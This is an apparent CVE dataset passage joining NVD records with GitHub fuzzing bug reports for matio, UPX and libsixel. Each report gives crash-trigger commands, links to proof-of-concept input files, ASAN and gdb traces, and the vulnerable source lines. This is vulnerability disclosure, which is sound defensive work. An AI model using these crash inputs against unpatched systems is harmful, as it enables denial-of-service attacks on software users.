#6 0x7fd224c333b5 in ReadNextCell /home/matio_asan/src/mat5.c:1063
#7 0x7fd224cf0e78 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4961
#8 0x7fd224d0746b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342
#9 0x408126 in main /home/matio_asan/tools/matdump.c:944
#10 0x7fd2244e282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58)
```
about code (3574)
```
Mat_VarReadNumeric5(mat,matvar,complex_data->Im,nelems);
matvar->data = complex_data;
} else {
err = SafeMul(&matvar->nbytes, nelems, matvar->data_size);
if ( err ) {
Mat_Critical("Integer multiplication overflow");
break;
}
----------> matvar->data = malloc(matvar->nbytes);
if ( NULL == matvar->data ) {
Mat_Critical("Couldn't allocate memory for the data");
```
|
it is a memory exhaustion issue in Mat_VarRead5 (mat5.c:3574)
|
https://api.github.com/repos/tbeu/matio/issues/130/comments
| 4
|
2019-11-07T03:44:40Z
|
2019-12-27T08:41:32Z
|
https://github.com/tbeu/matio/issues/130
| 519,022,065
| 130
| 931
|
CVE-2019-20020
|
2019-12-27T02:15:10.733
|
A stack-based buffer over-read was discovered in ReadNextStructField in mat5.c in matio 1.5.17.
|
{
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"baseSeverity": "MEDIUM",
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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},
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tbeu/matio/issues/128"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
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}
] |
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[
"125"
] |
125
|
https://github.com/tbeu/matio/issues/128
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"tbeu",
"matio"
] |
A crafted input will lead to crash in mat5.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[002-stackover-ReadNextStructField-mat51393](https://github.com/gutiniao/afltest/blob/master/002-stackover-ReadNextStructField-mat51393)
The ASAN information is as follows:
```
./matdump 002-stackover-ReadNextStructField-mat51393
InflateArrayFlags: inflate returned data error
InflateRankDims: inflate returned data error
InflateVarTag: inflate returned data error
InflateVarTag: inflate returned data error
Rank: 0
InflateRankDims: inflate returned data error
=================================================================
==32164==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc03efb10 at pc 0x7f0ff115f208 bp 0x7ffcc03ef900 sp 0x7ffcc03ef8f0
READ of size 4 at 0x7ffcc03efb10 thread T0
#0 0x7f0ff115f207 in ReadNextStructField /home/matio_asan/src/mat5.c:1393
#1 0x7f0ff1219e10 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4959
#2 0x7f0ff123046b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342
#3 0x408126 in main /home/matio_asan/tools/matdump.c:944
#4 0x7f0ff0a0b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58)
Address 0x7ffcc03efb10 is located in stack of thread T0 at offset 352 in frame
#0 0x7f0ff115d8d6 in ReadNextStructField /home/matio_asan/src/mat5.c:1212
This frame has 5 object(s):
[32, 40) 'nelems'
[96, 104) 'nelems_x_nfields'
[160, 168) 'dims'
[224, 248) 'buf'
[288, 352) 'uncomp_buf' <== Memory access at offset 352 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/matio_asan/src/mat5.c:1393 ReadNextStructField
Shadow bytes around the buggy address:
0x100018075f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018075f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018075f30: 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2
0x100018075f40: f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2
0x100018075f50: f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00
=>0x100018075f60: 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
0x100018075f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
0x100018075f80: f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2
0x100018075f90: f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2
0x100018075fa0: f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00
0x100018075fb0: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==32164==ABORTING
```
about code (1393):
```
/* Rank and dimension */
if ( uncomp_buf[0] == MAT_T_INT32 ) {
int j;
fields[i]->rank = uncomp_buf[1];
nbytes -= fields[i]->rank;
fields[i]->rank /= 4;
fields[i]->dims = (size_t*)malloc(fields[i]->rank*
sizeof(*fields[i]->dims));
if ( mat->byteswap ) {
for ( j = 0; j < fields[i]->rank; j++ )
fields[i]->dims[j] = Mat_uint32Swap(dims+j);
} else {
for ( j = 0; j < fields[i]->rank; j++ )
-------------------> fields[i]->dims[j] = dims[j];
}
```
|
There is a stack-based buffer overflow in the ReadNextStructField function of mat5.c(at 1393)
|
https://api.github.com/repos/tbeu/matio/issues/128/comments
| 5
|
2019-11-07T03:23:25Z
|
2019-12-27T11:10:26Z
|
https://github.com/tbeu/matio/issues/128
| 519,016,046
| 128
| 932
|
CVE-2019-20021
|
2019-12-27T02:15:10.797
|
A heap-based buffer over-read was discovered in canUnpack in p_mach.cpp in UPX 3.95 via a crafted Mach-O file.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
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"source": "cve@mitre.org",
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},
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"tags": [
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},
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},
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[
"125"
] |
125
|
https://github.com/upx/upx/issues/315
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"upx",
"upx"
] |
A crafted input will lead to crash in p_mach.cpp at UPX 3.95(latest version,git clone from branch devel)
Triggered by
./upx.out -d -f POC
OS: Ubuntu 18.04.3 LTS
CPU architecture: x86_64
Poc
[002](https://github.com/gutiniao/afltest/blob/master/002)
The ASAN information is as follows:
```
./upx.out -d -f 002
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2019
UPX git-75a2cc Markus Oberhumer, Laszlo Molnar & John Reiser Feb 24th 2019
File size Ratio Format Name
-------------------- ------ ----------- -----------
=================================================================
==24764==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x56476d2e5ab3 bp 0x7ffc2f050250 sp 0x7ffc2f050240
READ of size 4 at 0x602000000010 thread T0
#0 0x56476d2e5ab2 in get_le32(void const*) /home/liuz/upx-asan/upx_new/upx/src/bele.h:164
#1 0x56476d2e5ab2 in LE32::operator unsigned int() const /home/liuz/upx-asan/upx_new/upx/src/bele.h:416
#2 0x56476d2e5ab2 in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack() /home/liuz/upx-asan/upx_new/upx/src/p_mach.cpp:1539
#3 0x56476d3555a6 in try_unpack /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:114
#4 0x56476d356ad5 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:225
#5 0x56476d3582b0 in PackMaster::getUnpacker(InputFile*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:248
#6 0x56476d3583cf in PackMaster::unpack(OutputFile*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:266
#7 0x56476d3944ee in do_one_file(char const*, char*) /home/liuz/upx-asan/upx_new/upx/src/work.cpp:160
#8 0x56476d39499f in do_files(int, int, char**) /home/liuz/upx-asan/upx_new/upx/src/work.cpp:271
#9 0x56476d2253e6 in main /home/liuz/upx-asan/upx_new/upx/src/main.cpp:1543
#10 0x7ff90c80eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x56476d226549 in _start (/home/liuz/upx-asan/upx_new/upx/src/upx.out+0x5c549)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x7ff90d68c618 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0618)
#1 0x56476d2e3bc9 in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack() /home/liuz/upx-asan/upx_new/upx/src/p_mach.cpp:1525
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/liuz/upx-asan/upx_new/upx/src/bele.h:164 in get_le32(void const*)
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==24764==ABORTING
```
|
There is a heap-buffer-overflow in the canUnpack function of p_mach.cpp:1539
|
https://api.github.com/repos/upx/upx/issues/315/comments
| 4
|
2019-11-14T03:04:37Z
|
2021-09-12T01:45:32Z
|
https://github.com/upx/upx/issues/315
| 522,594,596
| 315
| 933
|
CVE-2019-20022
|
2019-12-27T02:15:10.873
|
An invalid memory address dereference was discovered in load_pnm in frompnm.c in libsixel before 1.8.3.
|
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[
"672"
] |
672
|
https://github.com/saitoha/libsixel/issues/108
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
A crafted input will lead to crash in frompnm.c at libsixel 1.8.2.
Triggered by:
./img2sixel 004-SEGV-load-pnm288
Poc:
[004-SEGV-load-pnm288](https://github.com/gutiniao/afltest/blob/master/004-SEGV-load-pnm288)
The gdb debug info:
```
# gdb ./img2sixel
\GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./img2sixel...done.
(gdb) r 004-SEGV-load-pnm288
Starting program: /usr/local/libsixel-fuzz/bin/img2sixel 004-SEGV-load-pnm288
Program received signal SIGSEGV, Segmentation fault.
load_pnm (p=0x55555575b39c "", length=<optimized out>, allocator=<optimized out>, result=<optimized out>, psx=0x5555557635d8, psy=0x5555557635dc, ppalette=0x5555557635d0, pncolors=0x5555557635e0, ppixelformat=0x5555557635e4) at frompnm.c:288
288 *(*result + (y * width + x) * 3 + 0) = component[0];
(gdb) l
283 break;
284 default:
285 goto unknown;
286 }
287
288 *(*result + (y * width + x) * 3 + 0) = component[0];
289 *(*result + (y * width + x) * 3 + 1) = component[1];
290 *(*result + (y * width + x) * 3 + 2) = component[2];
291 }
292 }
(gdb) bt
#0 load_pnm (p=0x55555575b39c "", length=<optimized out>, allocator=<optimized out>, result=<optimized out>, psx=0x5555557635d8, psy=0x5555557635dc, ppalette=0x5555557635d0, pncolors=0x5555557635e0, ppixelformat=0x5555557635e4) at frompnm.c:288
#1 0x00007ffff7b799e0 in load_with_builtin (pchunk=0x55555575b350, fstatic=fstatic@entry=0, fuse_palette=fuse_palette@entry=1, reqcolors=reqcolors@entry=256, bgcolor=bgcolor@entry=0x0, loop_control=<optimized out>, fn_load=0x7ffff7b96de0 <load_image_callback>,
context=0x55555575b290) at loader.c:801
#2 0x00007ffff7b835cb in sixel_helper_load_image_file (filename=filename@entry=0x7fffffffe806 "004-SEGV-load-pnm289", fstatic=0, fuse_palette=fuse_palette@entry=1, reqcolors=256, bgcolor=0x0, loop_control=0, fn_load=0x7ffff7b96de0 <load_image_callback>, finsecure=0,
cancel_flag=0x55555575a050 <signaled>, context=0x55555575b290, allocator=0x55555575b260) at loader.c:1352
#3 0x00007ffff7b9d42c in sixel_encoder_encode (encoder=0x55555575b290, filename=0x7fffffffe806 "004-SEGV-load-pnm289") at encoder.c:1737
#4 0x0000555555555af6 in main (argc=2, argv=0x7fffffffe598) at img2sixel.c:457
(gdb)
```
|
Segmentation fault (ASAN: SEGV on unknown address) in the load_pnm function of frompnm.c:288
|
https://api.github.com/repos/saitoha/libsixel/issues/108/comments
| 2
|
2019-12-11T08:22:08Z
|
2019-12-27T08:22:37Z
|
https://github.com/saitoha/libsixel/issues/108
| 536,213,002
| 108
| 934
|
CVE-2019-20023
|
2019-12-27T02:15:10.920
|
A memory leak was discovered in image_buffer_resize in fromsixel.c in libsixel 1.8.4.
|
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"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
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"url": "https://github.com/saitoha/libsixel/issues/120"
},
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"tags": [
"Exploit",
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"401"
] |
401
|
https://github.com/saitoha/libsixel/issues/120
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
A crafted input will lead to crash in frompnm.c at libsixel 1.8.3.(git from the [branch](https://github.com/saitoha/libsixel/tree/release-1.8) )
Triggered by:
./img2sixel 000-memleak-rpl_malloc
Poc:
[000-memleak-rpl_malloc](https://github.com/gutiniao/afltest/blob/master/000-memleak-rpl_malloc)
The ASAN info:
```
# ./img2sixel 000-memleak-rpl_malloc
runtime error: integer overflow
safe_addition_for_params: ingeger overflow detected.
=================================================================
==9353==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x7f99a109eb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x5583fae75543 in rpl_malloc /home/liuz/libsixel-2019/libsixel/converters/malloc_stub.c:45
#2 0x7f99a0d76834 in sixel_allocator_malloc /home/liuz/libsixel-2019/libsixel/src/allocator.c:155
#3 0x7f99a0d03b74 in image_buffer_resize /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:293
#4 0x7f99a0d057ed in sixel_decode_raw_impl /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:590
#5 0x7f99a0d08031 in sixel_decode_raw /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:925
#6 0x7f99a0d57a16 in load_sixel /home/liuz/libsixel-2019/libsixel/src/loader.c:619
#7 0x7f99a0d58c1a in load_with_builtin /home/liuz/libsixel-2019/libsixel/src/loader.c:788
#8 0x7f99a0d5989f in sixel_helper_load_image_file /home/liuz/libsixel-2019/libsixel/src/loader.c:1368
#9 0x7f99a0d691d6 in sixel_encoder_encode /home/liuz/libsixel-2019/libsixel/src/encoder.c:1737
#10 0x5583fae7532e in main /home/liuz/libsixel-2019/libsixel/converters/img2sixel.c:457
#11 0x7f99a08f7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: 64 byte(s) leaked in 1 allocation(s).
```
about code:
```
image_buffer_resize(
image_buffer_t *image,
int width,
int height,
int bgindex,
sixel_allocator_t *allocator)
{
SIXELSTATUS status = SIXEL_FALSE;
size_t size;
unsigned char *alt_buffer;
int n;
int min_height;
size = (size_t)(width * height);
-> alt_buffer = (unsigned char *)sixel_allocator_malloc(allocator, size);
if (alt_buffer == NULL || size == 0) {
/* free source image */
sixel_allocator_free(allocator, image->data
```
|
A memory leaks issue in image_buffer_resize at fromsixel.c:293
|
https://api.github.com/repos/saitoha/libsixel/issues/120/comments
| 5
|
2019-12-18T05:03:40Z
|
2020-01-03T01:33:53Z
|
https://github.com/saitoha/libsixel/issues/120
| 539,453,569
| 120
| 935
|
CVE-2019-20024
|
2019-12-27T02:15:11.000
|
A heap-based buffer overflow was discovered in image_buffer_resize in fromsixel.c in libsixel before 1.8.4.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"confidentialityImpact": "NONE",
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"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
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"tags": [
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}
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"787"
] |
787
|
https://github.com/saitoha/libsixel/issues/121
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
A crafted input will lead to crash in frompnm.c at libsixel 1.8.3.(git from the [branch](https://github.com/saitoha/libsixel/tree/release-1.8))
Triggered by:
./img2sixel 001-heap--
Poc:
[001-heap--](https://github.com/gutiniao/afltest/blob/master/001-heap--)
The ASAN info:
```
# ./img2sixel 001-heap--
=================================================================
==9357==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd4800ff800 at pc 0x7fd483ed777a bp 0x7fff63150e20 sp 0x7fff631505c8
WRITE of size 512 at 0x7fd4800ff800 thread T0
#0 0x7fd483ed7779 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
#1 0x7fd483ba1d2e in image_buffer_resize /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:308
#2 0x7fd483ba37ed in sixel_decode_raw_impl /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:590
#3 0x7fd483ba6031 in sixel_decode_raw /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:925
#4 0x7fd483bf5a16 in load_sixel /home/liuz/libsixel-2019/libsixel/src/loader.c:619
#5 0x7fd483bf6c1a in load_with_builtin /home/liuz/libsixel-2019/libsixel/src/loader.c:788
#6 0x7fd483bf789f in sixel_helper_load_image_file /home/liuz/libsixel-2019/libsixel/src/loader.c:1368
#7 0x7fd483c071d6 in sixel_encoder_encode /home/liuz/libsixel-2019/libsixel/src/encoder.c:1737
#8 0x56105580d32e in main /home/liuz/libsixel-2019/libsixel/converters/img2sixel.c:457
#9 0x7fd483795b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x56105580ac79 in _start (/usr/local/libsixel-asan2/bin/img2sixel+0x1c79)
0x7fd4800ff800 is located 0 bytes to the right of 76414976-byte region [0x7fd47b81f800,0x7fd4800ff800)
allocated by thread T0 here:
#0 0x7fd483f3cb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x56105580d543 in rpl_malloc /home/liuz/libsixel-2019/libsixel/converters/malloc_stub.c:45
#2 0x7fd483c14834 in sixel_allocator_malloc /home/liuz/libsixel-2019/libsixel/src/allocator.c:155
#3 0x7fd483ba1b74 in image_buffer_resize /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:293
#4 0x7fd483ba37ed in sixel_decode_raw_impl /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:590
#5 0x7fd483ba6031 in sixel_decode_raw /home/liuz/libsixel-2019/libsixel/src/fromsixel.c:925
#6 0x7fd483bf5a16 in load_sixel /home/liuz/libsixel-2019/libsixel/src/loader.c:619
#7 0x7fd483bf6c1a in load_with_builtin /home/liuz/libsixel-2019/libsixel/src/loader.c:788
#8 0x7fd483bf789f in sixel_helper_load_image_file /home/liuz/libsixel-2019/libsixel/src/loader.c:1368
#9 0x7fd483c071d6 in sixel_encoder_encode /home/liuz/libsixel-2019/libsixel/src/encoder.c:1737
#10 0x56105580d32e in main /home/liuz/libsixel-2019/libsixel/converters/img2sixel.c:457
#11 0x7fd483795b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
Shadow bytes around the buggy address:
0x0ffb10017eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb10017ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb10017ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb10017ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb10017ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffb10017f00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffb10017f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffb10017f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffb10017f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffb10017f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffb10017f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9357==ABORTING
```
about code:
```
min_height = height > image->height ? image->height: height;
if (width > image->width) { /* if width is extended */
for (n = 0; n < min_height; ++n) {
/* copy from source image */
-> memcpy(alt_buffer + width * n,
image->data + image->width * n,
(size_t)image->width);
/* fill extended area with background color */
```
|
A heap-buffer-overflow in image_buffer_resize at fromsixel.c:308
|
https://api.github.com/repos/saitoha/libsixel/issues/121/comments
| 3
|
2019-12-18T05:10:27Z
|
2019-12-27T08:19:23Z
|
https://github.com/saitoha/libsixel/issues/121
| 539,455,360
| 121
| 936
|
CVE-2019-20051
|
2019-12-27T22:15:11.347
|
A floating-point exception was discovered in PackLinuxElf::elf_hash in p_lx_elf.cpp in UPX 3.95. The vulnerability causes an application crash, which leads to denial of service.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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}
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"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
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"source": "nvd@nist.gov",
"type": "Primary"
}
],
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|
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},
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},
{
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"Issue Tracking",
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"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/D7XU42G6MUQQXHWRP7DCF2JSIBOJ5GOO/"
},
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"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EUTVSTXAFTD552NO2K2RIF6MDQEHP3BE/"
}
] |
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[
"682"
] |
682
|
https://github.com/upx/upx/issues/313
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"upx",
"upx"
] |
A crafted input will lead to crash in p_lx_elf.cpp.cpp at UPX 3.95(latest version,git clone from master)
Triggered by
./upx.out -d -f POC
OS: Ubuntu 18.04.3 LTS
CPU architecture: x86_64
Poc
[004](https://github.com/gutiniao/afltest/blob/master/004)
The ASAN information is as follows:
```
./upx.out -d -f 004
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX git-7a3637 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
ASAN:DEADLYSIGNAL
=================================================================
==25694==ERROR: AddressSanitizer: FPE on unknown address 0x56546ce3bc42 (pc 0x56546ce3bc42 bp 0x0c3800000076 sp 0x7ffd4ae6cf90 T0)
#0 0x56546ce3bc41 in PackLinuxElf::elf_hash(char const*) /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4569
#1 0x56546ce3bc41 in PackLinuxElf32::elf_lookup(char const*) const /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4586
#2 0x56546ce5e1ae in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:310
#3 0x56546ce5f54c in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /home/liuz/upx-asan/upx/src/p_lx_elf.h:383
#4 0x56546ce5f54c in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4238
#5 0x56546ce5f54c in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4255
#6 0x56546ce5f54c in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4266
#7 0x56546cef7e96 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/liuz/upx-asan/upx/src/packmast.cpp:190
#8 0x56546cef9e70 in PackMaster::getUnpacker(InputFile*) /home/liuz/upx-asan/upx/src/packmast.cpp:248
#9 0x56546cef9f8f in PackMaster::unpack(OutputFile*) /home/liuz/upx-asan/upx/src/packmast.cpp:266
#10 0x56546cf360ae in do_one_file(char const*, char*) /home/liuz/upx-asan/upx/src/work.cpp:160
#11 0x56546cf3655f in do_files(int, int, char**) /home/liuz/upx-asan/upx/src/work.cpp:271
#12 0x56546cdceba6 in main /home/liuz/upx-asan/upx/src/main.cpp:1539
#13 0x7f3c78a17b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#14 0x56546cdcfca9 in _start (/home/liuz/upx-asan/upx/src/upx.out+0x5bca9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/liuz/upx-asan/upx/src/p_lx_elf.cpp:4569 in PackLinuxElf::elf_hash(char const*)
==25694==ABORTING
```
|
Floating-point exception abort (DoS) in PackLinuxElf::elf_hash() of p_lx_elf.cpp:4569
|
https://api.github.com/repos/upx/upx/issues/313/comments
| 3
|
2019-11-13T10:02:39Z
|
2020-01-16T11:40:04Z
|
https://github.com/upx/upx/issues/313
| 522,091,065
| 313
| 937
|
CVE-2019-20052
|
2019-12-27T22:15:11.800
|
A memory leak was discovered in Mat_VarCalloc in mat.c in matio 1.5.17 because SafeMulDims does not consider the rank==0 case.
|
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"type": "Primary"
}
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|
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"source": "cve@mitre.org",
"tags": [
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"url": "https://github.com/tbeu/matio/issues/131"
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401
|
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[
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] |
github.com
|
[
"tbeu",
"matio"
] |
A crafted input will lead to crash in mat.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[006-memleak](https://github.com/gutiniao/afltest/blob/master/006-memleak)
The ASAN information is as follows:
```
./matdump /usr/local/matio_asan/bin/006-memleak
InflateRankDims: inflate returned data error
InflateVarTag: inflate returned data error
Empty
InflateRankDims: Reading dimensions expected type MAT_T_INT32
InflateRankDims: Reading dimensions expected type MAT_T_INT32
Name:
